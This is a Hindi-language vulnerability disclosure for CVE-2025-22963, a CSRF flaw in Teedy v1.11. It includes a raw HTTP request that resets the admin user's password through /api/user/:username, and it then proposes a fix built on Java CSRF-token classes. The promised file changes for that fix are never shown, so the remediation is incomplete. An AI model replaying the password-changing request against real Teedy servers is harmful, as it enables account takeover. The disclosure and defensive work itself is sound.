
CVE-2025-22963 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, Teedy v1.11 में एक CSRF भेद्यता जो उपयोगकर्ता सूचना परिवर्तन एंडपॉइंट के माध्यम से खाता अधिग्रहण की अनुमति देती है।
Teedy संस्करण <= v1.11 में क्रॉस-साइट रिक्वेस्ट फोर्जरी(CSRF) भेद्यता दूरस्थ हमलावरों को किसी अंतिम उपयोगकर्ता को उस वेब एप्लिकेशन पर अपनी उपयोगकर्ता जानकारी (उपयोगकर्ता नाम, पासवर्ड, आदि...) बदलने के लिए मजबूर करने की अनुमति देती है जिसमें वे वर्तमान में प्रमाणित हैं।
उपयोगकर्ता जानकारी बदलने का एंडपॉइंट /api/user/:username है।
यह एंडपॉइंट प्राधिकरण के लिए केवल कुकीज़ में auth_token की जाँच करता है।
auth_token मान अन्य origin वेबसाइटों से उपयोग किया जा सकता है।
POST /api/user/admin HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded;charset=utf-8
Content-Length: 173
Origin: http://localhost:8080
Connection: keep-alive
Referer: http://localhost:8080/
Cookie: auth_token=890b02eb-3e4b-4134-a523-56093a25952b
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
username=admin&groups=administrators&email=admin%40example.com&totp_enabled=false&storage_quota=0&storage_current=0&disabled=false&password=superSecure&passwordconfirm=superSecure
इसलिए, किसी अंतिम उपयोगकर्ता को ऐसी वेबसाइट पर जाने के लिए प्रेरित करना जो /api/user/:username पर अनुरोध भेजती है, अंतिम उपयोगकर्ता की जानकारी को दूरस्थ हमलावर की जानकारी में बदल देती है।
उपयोगकर्ता जानकारी में पासवर्ड शामिल है।
यह खाता अधिग्रहण (account takeover) का कारण बन सकता है।
यह हमला तब संभव है जब कोई दूरस्थ हमलावर किसी अंतिम उपयोगकर्ता का उपयोगकर्ता नाम जानता हो।
यह हमला व्यवस्थापक और अतिथि दोनों उपयोगकर्ताओं के विरुद्ध किया जा सकता है।
इस स्थिति में, एक हमलावर पीड़ित उपयोगकर्ता का पासवर्ड हमलावर के पासवर्ड पर सेट करके और हमलावर के पासवर्ड से पीड़ित उपयोगकर्ता में लॉग इन करके पीड़ित के उपयोगकर्ता को अपने कब्जे में ले सकता है।
इस भेद्यता को ठीक करने के लिए, /api/user/:username पर अनुरोध करते समय CSRF टोकन संलग्न करें।
POST /api/user/admin HTTP/1.1
...
username=admin&groups=administrators&email=admin%40example.com&totp_enabled=false&storage_quota=0&storage_current=0&disabled=false&password=superSecure&passwordconfirm=superSecure&csrf_token=<randomly generated token>
यह CSRF हमले से सुरक्षा प्रदान करता है क्योंकि एक हमलावर CSRF टोकन मान नहीं जानता है।
CSRF टोकन को सुरक्षित रूप से उपयोग करने के लिए, इन चरणों का पालन करें
पहले, docs/docs-web/src/main/java/com/sismics/docs/rest/util निर्देशिका में ये फ़ाइलें बनाएँ।
package com.sismics.docs.rest.util;
import java.util.Map;
import java.util.HashMap;
import java.security.SecureRandom;
import com.sismics.docs.rest.util.RandomTokenGenerator;
/**
* CSRF Token Class that manages users' CSRF Token
*/
public class CSRFToken {
private static CSRFToken instance = new CSRFToken();
private Map<String, String> tokenMap = new HashMap<String, String>();
private CSRFToken() {}
public static CSRFToken getInstance() {
return instance;
}
public void setToken(String userName, String token) {
tokenMap.put(userName, token);
}
public String getToken(String userName) {
if (tokenMap.containsKey(userName)) {
return tokenMap.get(userName);
}
// avoid using predictable string because bruteforcing this value could lead to bypass CSRF check
return RandomTokenGenerator.generate();
}
public boolean validate(String userName, String token) {
return this.getToken(userName).equals(token);
}
}
RandomTokenGenerator.java
package com.sismics.docs.rest.util;
import java.security.SecureRandom;
import java.lang.StringBuilder;
import java.lang.String;
/**
* A token generator for CSRF Token
*/
public class RandomTokenGenerator {
public static String generate() {
byte[] bytes = new byte[16];
SecureRandom rand = new SecureRandom();
rand.nextBytes(bytes);
StringBuilder sb = new StringBuilder();
for (byte b : bytes) {
sb.append(String.format("%02x", b));
}
return sb.toString();
}
}
उसके बाद, इन फ़ाइलों को निम्नानुसार बदलें।

sismics - Teedy(https://github.com/sismics/docs)
portswigger - क्रॉस-साइट रिक्वेस्ट फोर्जरी(CSRF)(https://portswigger.net/web-security/csrf)
Mozilla - एक्सेस नियंत्रण परिदृश्यों के उदाहरण(https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#examples_of_access_control_scenarios)
धन्यवाद, Ayato ने मुझे भेद्यता की रिपोर्ट करने का तरीका सिखाने के लिए।